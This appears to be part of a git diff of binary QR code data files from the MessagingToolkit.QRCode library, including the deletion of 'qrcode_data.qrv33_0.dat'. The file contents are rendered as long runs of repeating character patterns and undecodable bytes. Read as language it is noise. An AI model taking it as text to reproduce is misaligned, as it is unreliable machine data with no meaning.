-MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<87878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -MNMNMNMNKLKLKLKJGHGHGHGHEFEFEFEFCDCDCDCDABABABA@=>=>=>=>;<;<;<;<8787878765656565434343432121210/.-.-.-.-,+,+,+,+*)*)*)*)('('('&%$#$#$#$#"!"!"!"!   - - - -MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - -MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - -MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - -MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;:9:9:8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!    - - - -MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:99999:8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#   - - - -MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -MNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -55667788]]\\[[ZZhiijjkklqppoonnmDEEFFGGH)((''&&% !!""##$MLLKKJJI<=>??@@A((''&&%%!!""##$$LLKKJJIIiijjkkllppoonnmmEEFFGGHH SRRQQPPO99::;;<<YYXWVUTSlmmnnoopmllkkjjiHIIJJKKL%$$##""!$%%&&''(IHHGGFFEABBCCDDE$$##""!!%%&&''((HHGGFFEEmmnnooppllkkjjiiIIJJKKLL - - ONNMMLLK==>>??@@SRRQQPPOpqqrrsstihhggffeLMMNNOOP! ())**++,EDDCCBBAEFFGGHHI ))**++,,DDCCBBAAqqrrsstthhggffeeMMNNOOPPKJJIIHHGAABBCCDDONNMMLLKtuuvvwwx - - eddccbbaPQQRRSST,--..//0A@@??>>=IJJKKLLM--..//00@@??>>==uuvvwwxx - - ddccbbaaQQRRSSTT GFFEEDDC~~}}EEFFGGHH KJJIIHHGxyyzz{{| a``__^^]TUUVVWWX01122334=<<;;::9MNNOOPPQ11223344<<;;::99yyzz{{|| ``__^^]]UUVVWWXX - - CBBAA@@?||{{zzyyIIJJKKLL - - GFFEEDDC|}}~~]\\[[ZZYXYYZZ[[\~~}4556677898877665QRRSSTUV~~}}5566778888776655}}~~\\[[ZZYYYYZZ[[\\?>=<;:99xxwwvvuuMMNNOOPP - - CBBAA@@?YXXWWVVU\]]^^__` }||{{zzy899::;;<54433221~~}}||{WXYYZZ[[ ||{{zzyy99::;;<<44332211XXWWVVUU]]^^__``88776655ttssrrqqQQRRSSTT?>=<;:99UTTSSRRQ`aabbccd - - yxxwwvvu<==>>??@100//..-{zzyyxxw\\]]^^__ - - xxwwvvuu==>>??@@00//..--TTSSRRQQaabbccdd44332211ppoonnmmUUVVWWXX88776655 QPPOONNMdeeffggh uttssrrq@AABBCCD-,,++**)wvvuutts``aabbccttssrrqqAABBCCDD,,++**)) PPOONNMMeeffgghh00//..--llkkjjiiYYZZ[[\\44332211 !!""##$MLLKKJJIhiijjkklqppoonnmDEEFFGGH)((''&&%smmllkkjddeeffggppoonnmmEEFFGGHH((''&&%%!!""##$$LLKKJJIIiijjkkll%%&&,,++**))hhggffee]]^^__``00//..--$%%&&''(IHHGGFFElmmnnoopmllkkjjiHIIJJKKL%$$##""!jiihhggfhhiijjkkllkkjjiiIIJJKKLL$$##""!!%%&&''((HHGGFFEEmmnnoopp''(())**((''&&%%ijjkkllmddccbbaaaabbccdd%%&&,,++**))())**++,EDDCCBBApqqrrsstihhggffeLMMNNOOP! feeddccbllmmnopqhhggffeeMMNNOOPP ))**++,,DDCCBBAAqqrrsstt++,,--..$#"! mnnooppq``__^^]]eeffgghh''(())**((''&&%%,--..//0A@@??>>=tuuvvwwx - - eddccbbaPQQRRSSTbaa``__^rssttuuv - - ddccbbaaQQRRSSTT--..//00@@??>>==uuvvwwxx//001122qrrssttu\\[[ZZYYiijjkkll++,,--..$#"! 01122334=<<;;::9xyyzz{{| a``__^^]TUUVVWWX^]]\\[[Zvwwxxyyz ``__^^]]UUVVWWXX11223344<<;;::99yyzz{{||33445566uvvwwxxyXXWWVVUUmmnnoopp//001122~~}4556677898877665|}}~~]\\[[ZZYXYYZZ[[\ZYYSSRRQz{{||}}~\\[[ZZYYYYZZ[[\\~~}}5566778888776655}}~~778899??yzz{{||}TTSSRRQQqqrrsstt33445566}||{{zzy899::;;<54433221YXXWWVVU\]]^^__` QPPOONNM~XXWWVVUU]]^^__`` ||{{zzyy99::;;<<44332211@@AABBCC}~~PPOONNMMuuvvwwxx778899??yxxwwvvu<==>>??@100//..-UTTSSRRQ`aabbccd - - MLLKKJJITTSSRRQQaabbccdd - - xxwwvvuu==>>??@@00//..--DDEEFFGG -LLKKJJIIyyzz{{||@@AABBCCuttssrrq@AABBCCD-,,++**) QPPOONNMdeeffggh IHHGGFFE PPOONNMMeeffgghhttssrrqqAABBCCDD,,++**))HHIIJJKK - HHGGFFEE}}~~DDEEFFGG -qppoonnmDEEFFGGH)((''&&% !!""##$MLLKKJJIhiijjkklEDDCCBBA!!""##$$LLKKJJIIiijjkkllppoonnmmEEFFGGHH((''&&%%LLMMNNOODDCCBBAAHHIIJJKK - mllkkjjiHIIJJKKL%$$##""!$%%&&''(IHHGGFFElmmnnoopA@@??998%%&&''((HHGGFFEEmmnnooppllkkjjiiIIJJKKLL$$##""!!PPQQRRSS@@??>>==LLMMNNOOihhggffeLMMNNOOP! ())**++,EDDCCBBApqqrrsst - - 87766554))**++,,DDCCBBAAqqrrsstthhggffeeMMNNOOPP YYZZ[[\\ <<;;::99PPQQRRSS - - eddccbbaPQQRRSST,--..//0A@@??>>=tuuvvwwx 43322110--..//00@@??>>==uuvvwwxx - - ddccbbaaQQRRSSTT]]^^__`` - - 88776655YYZZ[[\\ a``__^^]TUUVVWWX01122334=<<;;::9xyyzz{{|0//..--,11223344<<;;::99yyzz{{|| ``__^^]]UUVVWWXX~~}}||aabbccdd 44332211]]^^__``]\\[[ZZYXYYZZ[[\~~}4556677898877665|}}~~,++**))(~~}}5566778888776655}}~~\\[[ZZYYYYZZ[[\\{{zzyyxxeeffgghh00//..--aabbccddYXXWWVVU\]]^^__` }||{{zzy899::;;<54433221(''&&%%||{{zzyy99::;;<<44332211XXWWVVUU]]^^__`` wwvvuuttiijjkkll~~}}|,,++**))eeffgghhUTTSSRRQ`aabbccd - - yxxwwvvu<==>>??@100//..-%xxwwvvuu==>>??@@00//..--TTSSRRQQaabbccdd - - ssmmllkkmmssttuu|{{zzyyx((''&&%%~~}}||iijjkkll QPPOONNMdeeffggh uttssrrq@AABBCCD-,,++**)%&&''(()ttssrrqqAABBCCDD,,++**)) PPOONNMMeeffgghhjjiihhggvvwwxxyy !xwwvvuut$$##""!!{{zzyyxxmmssttuu !!""##$MLLKKJJIhiijjkklqppoonnmDEEFFGGH)((''&&%)**++,,-ppoonnmmEEFFGGHH((''&&%%!!""##$$LLKKJJIIiijjkkllffeeddcczz{{||}}!""##$$%tssrrqqp wwvvuuttvvwwxxyy$%%&&''(IHHGGFFElmmnnoopmllkkjjiHIIJJKKL%$$##""!-..//001llkkjjiiIIJJKKLL$$##""!!%%&&''((HHGGFFEEmmnnooppbbaa``__~~%&&''(()poonnmmlssmmllkkzz{{||}}())**++,EDDCCBBApqqrrsstihhggffeLMMNNOOP! 12233445 hhggffeeMMNNOOPP ))**++,,DDCCBBAAqqrrsstt^^]]\\[[)**++,,-lkkjjiihjjiihhgg~~,--..//0A@@??>>=tuuvvwwx - - eddccbbaPQQRRSST56677889 - - ddccbbaaQQRRSSTT--..//00@@??>>==uuvvwwxx - - ZZYYSSRR-..//001hggffeedffeeddcc01122334=<<;;::9xyyzz{{| a``__^^]TUUVVWWX9??@@AAB``__^^]]UUVVWWXX11223344<<;;::99yyzz{{|| QQPPOONN12233445dccbbaa` bbaa``__4556677898877665|}}~~]\\[[ZZYXYYZZ[[\~~}BCCDDEEF\\[[ZZYYYYZZ[[\\~~}}5566778888776655}}~~MMLLKKJJ56677889`__^^]]\ - - ^^]]\\[[899::;;<54433221YXXWWVVU\]]^^__` }||{{zzyFGGHHIIJ - - XXWWVVUU]]^^__`` ||{{zzyy99::;;<<44332211IIHHGGFF9::;;<<=\[[ZZYYX - - ZZYYSSRR<==>>??@100//..-UTTSSRRQ`aabbccd - - yxxwwvvuJKKLLMMN TTSSRRQQaabbccdd - - xxwwvvuu==>>??@@00//..--EEDDCCBB=>>??@@AXWWVVUUT QQPPOONN@AABBCCD-,,++**) QPPOONNMdeeffggh uttssrrqNOOPPQQRPPOONNMMeeffgghhttssrrqqAABBCCDD,,++**)) AA@@??99~~}}|ABBCCDDETSSRRQQPMMLLKKJJDEEFFGGH)((''&&% !!""##$MLLKKJJIhiijjkklqppoonnmRSSYYZZ[LLKKJJIIiijjkkllppoonnmmEEFFGGHH((''&&%%!!""##$$88776655|{{zzyyxEFFGGHHIPOONNMMLIIHHGGFF~~}}|HIIJJKKL%$$##""!$%%&&''(IHHGGFFElmmnnoopmllkkjji[\\]]^^_HHGGFFEEmmnnooppllkkjjiiIIJJKKLL$$##""!!%%&&''((44332211xwwvvuutIJJKKLLMLKKJJIIHEEDDCCBB|{{zzyyxLMMNNOOP! ())**++,EDDCCBBApqqrrsstihhggffe_``aabbc DDCCBBAAqqrrsstthhggffeeMMNNOOPP ))**++,,00//..--tssrqponMNNOOPPQHGGFFEED AA@@??99xwwvvuutPQQRRSST,--..//0A@@??>>=tuuvvwwx - - eddccbbacddeeffg!"#$%%&&@@??>>==uuvvwwxx - - ddccbbaaQQRRSSTT--..//00,,++**))mmllkkjjQRRSSTTUDCCBBAA@!!""##$$88776655tssrqponTUUVVWWX01122334=<<;;::9xyyzz{{| a``__^^]ghhiijjk''(())**<<;;::99yyzz{{|| ``__^^]]UUVVWWXX11223344((''&&%%iihhggffUVVWWXXY@??>>==<%%&&''((44332211mmllkkjjXYYZZ[[\~~}4556677898877665|}}~~]\\[[ZZYkllmmsst++,,--..88776655}}~~\\[[ZZYYYYZZ[[\\~~}}55667788eeddccbbYZZ[[\\]<;;::998))**++,,00//..--iihhggff\]]^^__` }||{{zzy899::;;<54433221YXXWWVVUtuuvvwwx//00112244332211XXWWVVUU]]^^__`` ||{{zzyy99::;;<<aa``__^^]^^__``a87766554--..//00,,++**))eeddccbb`aabbccd - - yxxwwvvu<==>>??@100//..-UTTSSRRQxyyzz{{|3344556600//..--TTSSRRQQaabbccdd - - xxwwvvuu==>>??@@]]\\[[ZZabbccdde4332211011223344((''&&%%aa``__^^deeffggh uttssrrq@AABBCCD-,,++**) QPPOONNM|}}~~778899:;,,++**)) PPOONNMMeeffgghhttssrrqqAABBCCDDYYXWVUTSeffgghhi0//..--,,++**))( !POONNMMLeffgghhitssrrqqpOPPQQRRSOONNMMLLffgghhiissrrqqppBBCCDDEE++**))(( !!@@??9988~~}}||{BCCDDEEF+**))((' !!"ONNMMLLKfgghhiijsrrqqppoBCCDDEEF A@@??>>=(''&&%%$!""##$$%LKKJJIIHijjkkllmpoonnmmlSYYZZ[[\KKJJIIHHjjkkllmmoonnmmllFFGGHHII''&&%%$$""##$$%%77665544{zzyyxxwFGGHHIIJ'&&%%$$#"##$$%%&KJJIIHHGjkkllmmnonnmmllkFGGHHIIJ - - -=<<;;::9$##""!! %&&''(()HGGFFEEDmnnooppqlkkjjiih\]]^^__`GGFFEEDDnnooppqqkkjjiihhJJKKLLMM##""!! &&''(())33221100wvvuuttsJKKLLMMN#""!! &''(())*GFFEEDDCnooppqqrkjjiihhgJKKLLMMN - 98877665 )**++,,-DCCBBAA@qrrssttu hggffeed`aabbccd !"CCBBAA@@rrssttuu ggffeeddNNOOPPQQ**++,,--//..--,,srqponmmNOOPPQQR*++,,--.CBBAA@@?rssttuuv -gffeeddcNOOPPQQR54433221-..//001@??>>==>==<>==<<;vwwxxyyz - cbbaa``_RSSTTUUV100//..-12233445<;;::998yzz{{||} `__^^]]\hiijjkkl(())**++;;::9988zz{{||}}__^^]]\\VVWWXXYY22334455''&&%%hhggffeeVWWXXYYZ23344556;::99887z{{||}}~_^^]]\\[VWWXXYYZ-,,++**)~~}}|5667788987766554}~~\[[ZZYYXlmmssttu,,--..//77665544~~[[ZZYYXXZZ[[\\]]~~}}||66778899ddccbbaaZ[[\\]]^~~}}||{6778899:76655443~[ZZYYXXWZ[[\\]]^)((''&&% |{{zzyyx9::;;<<=43322110XWWVVUUTuvvwwxxy0011223333221100WWVVUUTT^^__``aa {{zzyyxx::;;<<==``__^^]]^__``aab {zzyyxxw:;;<<==>3221100/WVVUUTTS^__``aab%%&&'%$$##""! - - xwwvvuut=>>??@@A0//..--,TSSRRQQPyzz{{||}44556677//..--,,SSRRQQPPbbccddee - - wwvvuutt>>??@@AA\\[[ZZYYbccddeef - - wvvuutts>??@@AAB/..--,,+SRRQQPPObccddeef'(())**+! tssrrqqpABBCCDDE,++**))( !POONNMML}~~8899:;<=++**))(( !!OONNMMLLffgghhiissrrqqppBBCCDDEEXWVUTSSRfgghhiijsrrqqppoBCCDDEEF+**))((' !!"ONNMMLLKfgghhiij+,,--../poonnmmlEFFGGHHI(''&&%%$!""##$$%LKKJJIIH>??@@AAB''&&%%$$""##$$%%KKJJIIHHjjkkllmmoonnmmllFFGGHHII RQQPPOONjkkllmmnonnmmllkFGGHHIIJ'&&%%$$#"##$$%%&KJJIIHHGjkkllmmn/0011223lkkjjiihIJJKKLLM$##""!! %&&''(()HGGFFEEDBCCDDEEF##""!! &&''(())GGFFEEDDnnooppqqkkjjiihhJJKKLLMM - - NMMLLKKJnooppqqrkjjiihhgJKKLLMMN#""!! &''(())*GFFEEDDCnooppqqr34455667 hggffeedMNNOOPPQ )**++,,-DCCBBAA@FGGHHIIJ**++,,--CCBBAA@@rrssttuu ggffeeddNNOOPPQQJIIHHGGFrssttuuv -gffeeddcNOOPPQQR*++,,--.CBBAA@@?rssttuuv78899??@ - - dccbbaa`QRRSSTTU-..//001@??>>==>==<>==<<;vwwxxyyz@AABBCCD - - `__^^]]\UVVWWXXY12233445<;;::998NOOPPQQR22334455;;::9988zz{{||}}__^^]]\\VVWWXXYY BAA@@??>z{{||}}~_^^]]\\[VWWXXYYZ23344556;::99887z{{||}}~DEEFFGGH - - \[[ZZYYXYZZ[[\\]~~}}|5667788987766554~RSSTUVWX~~}}||6677889977665544~~[[ZZYYXXZZ[[\\]]=<;:9988~[ZZYYXXWZ[[\\]]^~~}}||{6778899:76655443~HIIJJKKL XWWVVUUT]^^__``a |{{zzyyx9::;;<<=43322110~}}||{{zYYZZ[[\\ {{zzyyxx::;;<<==33221100WWVVUUTT^^__``aa77665544WVVUUTTS^__``aab {zzyyxxw:;;<<==>3221100/LMMNNOOPTSSRRQQPabbccdde - - xwwvvuut=>>??@@A0//..--,zyyxxwwv]]^^__`` - - wwvvuutt>>??@@AA//..--,,SSRRQQPPbbccddee33221100SRRQQPPObccddeef - - wvvuutts>??@@AAB/..--,,+PQQRRSSY !POONNMMLeffgghhitssrrqqpABBCCDDE,++**))(vuuttssmaabbccddssrrqqppBBCCDDEE++**))(( !!OONNMMLLffgghhii//..--,, !!"ONNMMLLKfgghhiijsrrqqppoBCCDDEEF+**))(('YZZ[[\\]!""##$$%LKKJJIIHijjkkllmpoonnmmlEFFGGHHI(''&&%%$mllkkjjieeffgghhoonnmmllFFGGHHII''&&%%$$""##$$%%KKJJIIHHjjkkllmm%%&&''++**))(("##$$%%&KJJIIHHGjkkllmmnonnmmllkFGGHHIIJ'&&%%$$#]^^__``a %&&''(()HGGFFEEDmnnooppqlkkjjiihIJJKKLLM$##""!! ihhggffeiijjkkllkkjjiihhJJKKLLMM##""!! &&''(())GGFFEEDDnnooppqq(())**++''&&%%$#&''(())*GFFEEDDCnooppqqrkjjiihhgJKKLLMMN#""!! abbccdde !!""##$)**++,,-DCCBBAA@qrrssttu hggffeedMNNOOPPQ eddccbbammnopqrs ggffeeddNNOOPPQQ**++,,--CCBBAA@@rrssttuu,,--..//"! *++,,--.CBBAA@@?rssttuuv -gffeeddcNOOPPQQReffgghhi$%%&&''(-..//001@??>>==>==<>==<<;vwwxxyyz - cbbaa``_RSSTTUUV~~}}||{ijjkkllm())**++,12233445<;;::998yzz{{||} `__^^]]\UVVWWXXY]\\[[ZZYwxxyyzz{__^^]]\\VVWWXXYY22334455;;::9988zz{{||}}4455667723344556;::99887z{{||}}~_^^]]\\[VWWXXYYZ{zzyyxxwmssttuuv,--..//05667788987766554}~~\[[ZZYYXYZZ[[\\]YSSRRQQP{||}}~~[[ZZYYXXZZ[[\\]]~~}}||6677889977665544~~8899??@@~~}}||{6778899:76655443~[ZZYYXXWZ[[\\]]^wvvuuttsvwwxxyyz011223349::;;<<=43322110XWWVVUUT]^^__``a POONNMMLWWVVUUTT^^__``aa {{zzyyxx::;;<<==33221100AABBCCDD {zzyyxxw:;;<<==>3221100/WVVUUTTS^__``aab smmllkkjz{{||}}~45566778=>>??@@A0//..--,TSSRRQQPabbccdde - - LKKJJIIHSSRRQQPPbbccddee - - wwvvuutt>>??@@AA//..--,,EEFFGGHH - - wvvuutts>??@@AAB/..--,,+SRRQQPPObccddeef - - jiihhggf~899::;;>??@EFFGGHHI(''&&%%$!""##$$%LKKJJIIHijjkkllmDCCBBAA@""##$$%%KKJJIIHHjjkkllmmoonnmmllFFGGHHII''&&%%$$MMNNOOPPonnmmllkFGGHHIIJ'&&%%$$#"##$$%%&KJJIIHHGjkkllmmnbaa``__^@AABBCCDIJJKKLLM$##""!! %&&''(()HGGFFEEDmnnooppq @??99887&&''(())GGFFEEDDnnooppqqkkjjiihhJJKKLLMM##""!! QQRRSSYYkjjiihhgJKKLLMMN#""!! &''(())*GFFEEDDCnooppqqr^]]\\[[Z~~}DEEFFGGHMNNOOPPQ )**++,,-DCCBBAA@qrrssttu - - 76655443**++,,--CCBBAA@@rrssttuu ggffeeddNNOOPPQQZZ[[\\]] -gffeeddcNOOPPQQR*++,,--.CBBAA@@?rssttuuv -ZYYSSRRQ}||{{zzyHIIJJKKLQRRSSTTU-..//001@??>>==>==<>==<<;vwwxxyyz - QPPOONNMyxxwwvvuLMMNNOOPUVVWWXXY12233445<;;::998yzz{{||}/..--,,+22334455;;::9988zz{{||}}__^^]]\\VVWWXXYY~~}}||{{bbccddee_^^]]\\[VWWXXYYZ23344556;::99887z{{||}}~MLLKKJJIuttssrrqPQQRRSSTYZZ[[\\]~~}}|5667788987766554}~~+**))(('~~}}||6677889977665544~~[[ZZYYXXZZ[[\\]]zzyyxxwwffgghhii[ZZYYXXWZ[[\\]]^~~}}||{6778899:76655443~IHHGGFFEqppoonnmTUUVVWWX]^^__``a |{{zzyyx9::;;<<=43322110'&&%%{{zzyyxx::;;<<==33221100WWVVUUTT^^__``aa vvuuttssjjkkllmmWVVUUTTS^__``aab {zzyyxxw:;;<<==>3221100/EDDCCBBAmllkkjjiXYYZZ[[\abbccdde - - xwwvvuut=>>??@@A0//..--,%%&wwvvuutt>>??@@AA//..--,,SSRRQQPPbbccddee - - mmllkkjjssttuuvvSRRQQPPObccddeef - - wvvuutts>??@@AAB/..--,,+A@@??998ihhggffe\]]^^__`effgghhitssrrqqpABBCCDDE,++**))(&''(())*ssrrqqppBBCCDDEE++**))(( !!OONNMMLLffgghhiiiihhggffwwxxyyzz !!"ONNMMLLKfgghhiijsrrqqppoBCCDDEEF+**))((' !!"87766554eddccbba`aabbccdijjkkllmpoonnmmlEFFGGHHI(''&&%%$*++,,--.oonnmmllFFGGHHII''&&%%$$""##$$%%KKJJIIHHjjkkllmmeeddccbb{{||}}~~"##$$%%&KJJIIHHGjkkllmmnonnmmllkFGGHHIIJ'&&%%$$#"##$$%%&43322110a``__^^]deeffgghmnnooppqlkkjjiihIJJKKLLM$##""!! .//00112kkjjiihhJJKKLLMM##""!! &&''(())GGFFEEDDnnooppqqaa``__^^&''(())*GFFEEDDCnooppqqrkjjiihhgJKKLLMMN#""!! &''(())*0//..--,]\\[[ZZYhiijjkklqrrssttu hggffeedMNNOOPPQ 23344556 -ggffeeddNNOOPPQQ**++,,--CCBBAA@@rrssttuu ]]\\[[ZZ*++,,--.CBBAA@@?rssttuuv -gffeeddcNOOPPQQR*++,,--.,++**))(YXXWWVVUlmmnnoopuvvwwxxy - - dccbbaa`QRRSSTTU6778899? - ccbbaa``RRSSTTUU..//0011??>>==<>==<<;vwwxxyyz - cbbaa``_RSSTTUUV.//00112(''&&%%UTTSSRRQpqqrrsstyzz{{||} `__^^]]\UVVWWXXY?@@AABBC__^^]]\\VVWWXXYY22334455;;::9988zz{{||}}PPOONNMM23344556;::99887z{{||}}~_^^]]\\[VWWXXYYZ23344556QPPOONNMtuuvvwwx}~~\[[ZZYYXYZZ[[\\]~~}}|CDDEEFFG [[ZZYYXXZZ[[\\]]~~}}||6677889977665544~~LLKKJJII6778899:76655443~[ZZYYXXWZ[[\\]]^~~}}||{6778899:ML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`ےbdQZ|vpfHr˂pnXv`ˁےbHvpfH˂pZlJtAXv`fdQZ|vpfH˂pZlJtAJ`ےdrtA˂pZHlJtAv`fJ`ےvpfH˂pZHlJtAv`fQZ|dvpfHAbے`pfH~|drQt666666666677777777777777777777777777777777777 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_0.dat deleted file mode 100644 index 42ea5d5..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv33_0.dat +++ /dev/null @@ -1,297 +0,0 @@ -}~}~}~}~{|{|{|{|{zyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvstststsrpopopoponmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzyxwxwxwxwxwxwxwxuvuvuvuvqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSSSSSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvqrqrqrqrooooopopnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSRQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwvuvuvuvuvuvuvuvqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUQRQRQRQRQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUTSTSQRQRQRQRQRQRQRQPOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvutstststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSSSSSQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQROPOPOPOPOPOPOPONMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropoooooonmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNMNMNMNMLKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLKLKLKLKJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYVUVUVUVUSSSSTSTSQRQRQRQROPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJIJIJIJIHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<}~}~}~